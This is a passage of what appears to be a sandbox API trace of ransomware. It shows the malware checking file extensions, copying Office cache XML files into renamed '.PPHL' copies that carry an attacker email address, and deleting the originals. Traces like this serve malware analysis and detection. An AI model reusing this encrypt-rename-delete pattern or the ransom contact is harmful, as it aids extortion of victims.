[0060.328] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.328] lstrlenW (lpString=".7z") returned 3 [0060.328] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.328] lstrlenW (lpString=".dbf") returned 4 [0060.328] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.328] lstrlenW (lpString=".1cd") returned 4 [0060.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.328] lstrlenW (lpString=".jpg") returned 4 [0060.328] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.328] lstrlenW (lpString=".doc") returned 4 [0060.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.328] lstrlenW (lpString=".docx") returned 5 [0060.328] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0060.328] lstrlenW (lpString=".pdf") returned 4 [0060.328] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.328] lstrlenW (lpString=".xls") returned 4 [0060.328] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.328] lstrlenW (lpString=".xlsx") returned 5 [0060.328] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0060.328] lstrlenW (lpString=".ppt") returned 4 [0060.328] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.328] lstrlenW (lpString=".zip") returned 4 [0060.328] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.328] lstrlenW (lpString=".rar") returned 4 [0060.328] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.329] lstrlenW (lpString=".bz2") returned 4 [0060.329] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.329] lstrlenW (lpString=".7z") returned 3 [0060.329] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.329] lstrlenW (lpString=".dbf") returned 4 [0060.329] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.329] lstrlenW (lpString=".1cd") returned 4 [0060.329] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0060.329] lstrlenW (lpString=".jpg") returned 4 [0060.329] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.329] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.329] lstrlenW (lpString="Proof.xml") returned 9 [0060.329] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.329] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1458) returned 1 [0060.329] CloseHandle (hObject=0x194) returned 1 [0060.329] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0060.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.330] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.330] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.330] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.330] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.330] GetLastError () returned 0x0 [0060.330] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0060.347] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0060.348] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.348] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.349] SetEndOfFile (hFile=0x198) returned 1 [0060.349] CloseHandle (hObject=0x198) returned 1 [0060.350] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.350] SetEndOfFile (hFile=0x194) returned 1 [0060.351] CloseHandle (hObject=0x194) returned 1 [0060.351] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.351] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0060.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.351] lstrlenW (lpString=".doc") returned 4 [0060.351] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.351] lstrlenW (lpString=".docx") returned 5 [0060.351] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0060.351] lstrlenW (lpString=".pdf") returned 4 [0060.351] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.351] lstrlenW (lpString=".xls") returned 4 [0060.351] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.351] lstrlenW (lpString=".xlsx") returned 5 [0060.351] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0060.351] lstrlenW (lpString=".ppt") returned 4 [0060.352] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.352] lstrlenW (lpString=".zip") returned 4 [0060.352] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.352] lstrlenW (lpString=".rar") returned 4 [0060.352] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.352] lstrlenW (lpString=".bz2") returned 4 [0060.352] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.352] lstrlenW (lpString=".7z") returned 3 [0060.352] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.352] lstrlenW (lpString=".dbf") returned 4 [0060.352] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.352] lstrlenW (lpString=".1cd") returned 4 [0060.352] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.352] lstrlenW (lpString=".jpg") returned 4 [0060.352] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.352] lstrlenW (lpString=".doc") returned 4 [0060.352] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.352] lstrlenW (lpString=".docx") returned 5 [0060.352] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0060.352] lstrlenW (lpString=".pdf") returned 4 [0060.352] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.352] lstrlenW (lpString=".xls") returned 4 [0060.352] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.352] lstrlenW (lpString=".xlsx") returned 5 [0060.352] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0060.352] lstrlenW (lpString=".ppt") returned 4 [0060.352] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.353] lstrlenW (lpString=".zip") returned 4 [0060.353] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.353] lstrlenW (lpString=".rar") returned 4 [0060.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.353] lstrlenW (lpString=".bz2") returned 4 [0060.353] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.353] lstrlenW (lpString=".7z") returned 3 [0060.353] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.353] lstrlenW (lpString=".dbf") returned 4 [0060.353] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.353] lstrlenW (lpString=".1cd") returned 4 [0060.353] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0060.353] lstrlenW (lpString=".jpg") returned 4 [0060.353] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.353] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.353] lstrlenW (lpString="Proofing.xml") returned 12 [0060.354] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.354] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=811) returned 1 [0060.354] CloseHandle (hObject=0x194) returned 1 [0060.354] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0060.354] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.354] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.354] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.354] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.354] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.355] GetLastError () returned 0x0 [0060.355] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x32b, lpOverlapped=0x0) returned 1 [0060.356] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x330, lpOverlapped=0x0) returned 1 [0060.357] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.357] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.357] SetEndOfFile (hFile=0x198) returned 1 [0060.358] CloseHandle (hObject=0x198) returned 1 [0060.358] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.358] SetEndOfFile (hFile=0x194) returned 1 [0060.359] CloseHandle (hObject=0x194) returned 1 [0060.359] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.359] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0060.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.360] lstrlenW (lpString=".doc") returned 4 [0060.360] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.360] lstrlenW (lpString=".docx") returned 5 [0060.360] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0060.360] lstrlenW (lpString=".pdf") returned 4 [0060.360] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.360] lstrlenW (lpString=".xls") returned 4 [0060.360] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.360] lstrlenW (lpString=".xlsx") returned 5 [0060.360] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0060.360] lstrlenW (lpString=".ppt") returned 4 [0060.360] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.360] lstrlenW (lpString=".zip") returned 4 [0060.360] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.360] lstrlenW (lpString=".rar") returned 4 [0060.360] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.360] lstrlenW (lpString=".bz2") returned 4 [0060.360] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.360] lstrlenW (lpString=".7z") returned 3 [0060.360] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.360] lstrlenW (lpString=".dbf") returned 4 [0060.360] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.360] lstrlenW (lpString=".1cd") returned 4 [0060.360] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.361] lstrlenW (lpString=".jpg") returned 4 [0060.361] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.361] lstrlenW (lpString=".doc") returned 4 [0060.361] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.361] lstrlenW (lpString=".docx") returned 5 [0060.361] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0060.361] lstrlenW (lpString=".pdf") returned 4 [0060.361] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.361] lstrlenW (lpString=".xls") returned 4 [0060.361] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.361] lstrlenW (lpString=".xlsx") returned 5 [0060.361] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0060.361] lstrlenW (lpString=".ppt") returned 4 [0060.361] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.361] lstrlenW (lpString=".zip") returned 4 [0060.361] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.361] lstrlenW (lpString=".rar") returned 4 [0060.361] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.361] lstrlenW (lpString=".bz2") returned 4 [0060.361] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.361] lstrlenW (lpString=".7z") returned 3 [0060.361] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.361] lstrlenW (lpString=".dbf") returned 4 [0060.361] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.361] lstrlenW (lpString=".1cd") returned 4 [0060.361] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0060.361] lstrlenW (lpString=".jpg") returned 4 [0060.362] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.362] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.362] lstrlenW (lpString="Setup.xml") returned 9 [0060.362] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.362] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=5884) returned 1 [0060.362] CloseHandle (hObject=0x194) returned 1 [0060.362] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0060.362] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.362] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.362] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.362] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.362] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.363] GetLastError () returned 0x0 [0060.363] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0060.365] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0060.366] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.366] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.366] SetEndOfFile (hFile=0x198) returned 1 [0060.366] CloseHandle (hObject=0x198) returned 1 [0060.367] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.367] SetEndOfFile (hFile=0x194) returned 1 [0060.368] CloseHandle (hObject=0x194) returned 1 [0060.368] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.368] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0060.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.368] lstrlenW (lpString=".doc") returned 4 [0060.368] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.368] lstrlenW (lpString=".docx") returned 5 [0060.368] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.368] lstrlenW (lpString=".pdf") returned 4 [0060.368] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.368] lstrlenW (lpString=".xls") returned 4 [0060.369] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.369] lstrlenW (lpString=".xlsx") returned 5 [0060.369] 